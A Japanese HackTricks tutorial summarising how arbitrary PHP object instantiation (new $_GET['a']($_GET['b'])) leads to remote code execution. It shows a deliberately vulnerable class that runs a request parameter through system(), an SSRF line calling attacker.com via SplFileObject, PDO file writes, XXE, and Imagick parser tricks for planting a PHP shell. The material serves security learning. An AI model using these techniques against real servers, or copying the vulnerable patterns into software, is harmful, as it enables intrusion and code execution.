PHP - RCE オブジェクト生成の悪用: new $_GET["a"]($_GET["b"])

Reading time: 8 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

これは基本的に https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/ の要約です。

はじめに

new $_GET["a"]($_GET["a"]) のような新しい任意のオブジェクトの生成は、リモートコード実行 (RCE) につながる可能性があります。これは writeup で詳述されています。この文書では、RCEを達成するためのさまざまな戦略を強調します。

カスタムクラスまたはオートローディングによるRCE

new $a($b) の構文は、$a がクラス名を表し、$b がコンストラクタに渡される最初の引数であるオブジェクトをインスタンス化するために使用されます。これらの変数は、GET/POSTのようなユーザー入力から取得されることがあり、文字列や配列である可能性があります。また、JSONから取得される場合は、他の型として表示されることがあります。

以下のコードスニペットを考えてみてください:

php
class App {
function __construct ($cmd) {
system($cmd);
}
}

class App2 {
function App2 ($cmd) {
system($cmd);
}
}

$a = $_GET['a'];
$b = $_GET['b'];

new $a($b);

この場合、$aAppまたはApp2に設定し、$bをシステムコマンド(例:uname -a)に設定すると、そのコマンドが実行されます。

オートローディング関数は、そのようなクラスが直接アクセスできない場合に悪用される可能性があります。これらの関数は、必要に応じてファイルからクラスを自動的にロードし、spl_autoload_registerまたは__autoloadを使用して定義されます。

php
spl_autoload_register(function ($class_name) {
include './../classes/' . $class_name . '.php';
});

function __autoload($class_name) {
include $class_name . '.php';
};

spl_autoload_register();

オートローディングの動作はPHPのバージョンによって異なり、異なるRCEの可能性を提供します。

組み込みクラスによるRCE

カスタムクラスやオートローダーがない場合、組み込みPHPクラスがRCEに十分である可能性があります。これらのクラスの数は、PHPのバージョンや拡張機能に基づいて100から200の間です。get_declared_classes()を使用してリストできます。

興味のあるコンストラクタは、以下の例とリンクhttps://3v4l.org/2JEGFに示すように、リフレクションAPIを通じて特定できます。

特定のメソッドによるRCEには以下が含まれます:

SSRF + Pharデシリアライズ

SplFileObjectクラスは、そのコンストラクタを通じてSSRFを可能にし、任意のURLへの接続を許可します:

php
new SplFileObject('http://attacker.com/');

SSRFは、Pharプロトコルを使用するPHPの8.0以前のバージョンでデシリアライズ攻撃を引き起こす可能性があります。

PDOの悪用

PDOクラスのコンストラクタは、DSN文字列を介してデータベースへの接続を許可し、ファイルの作成やその他のインタラクションを可能にします:

php
new PDO("sqlite:/tmp/test.txt")

SoapClient/SimpleXMLElement XXE

PHPのバージョン5.3.22および5.4.12までが、SoapClientおよびSimpleXMLElementコンストラクタを通じてXXE攻撃に対して脆弱であることが確認されました。これはlibxml2のバージョンに依存します。

RCE via Imagick Extension

プロジェクトの依存関係の分析において、Imagickが新しいオブジェクトをインスタンス化することでコマンド実行に利用できることが発見されました。これは脆弱性を悪用する機会を提供します。

VID parser

ファイルシステム内の任意の指定されたパスにコンテンツを書き込む能力を持つVIDパーサーが特定されました。これにより、ウェブアクセス可能なディレクトリにPHPシェルを配置し、リモートコード実行(RCE)を達成する可能性があります。

VID Parser + File Upload

PHPはアップロードされたファイルを一時的に/tmp/phpXXXXXXに保存することが知られています。ImagickのVIDパーサーは、mslプロトコルを利用してファイルパス内のワイルドカードを処理でき、一時ファイルを選択した場所に転送することが可能です。この方法は、ファイルシステム内での任意のファイル書き込みを達成するための追加のアプローチを提供します。

PHP Crash + Brute Force

元の解説で説明されている方法では、削除前にサーバーをクラッシュさせるファイルをアップロードします。一時ファイルの名前をブルートフォースすることで、Imagickが任意のPHPコードを実行することが可能になります。ただし、この技術は古いバージョンのImageMagickでのみ効果的であることがわかりました。

References

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする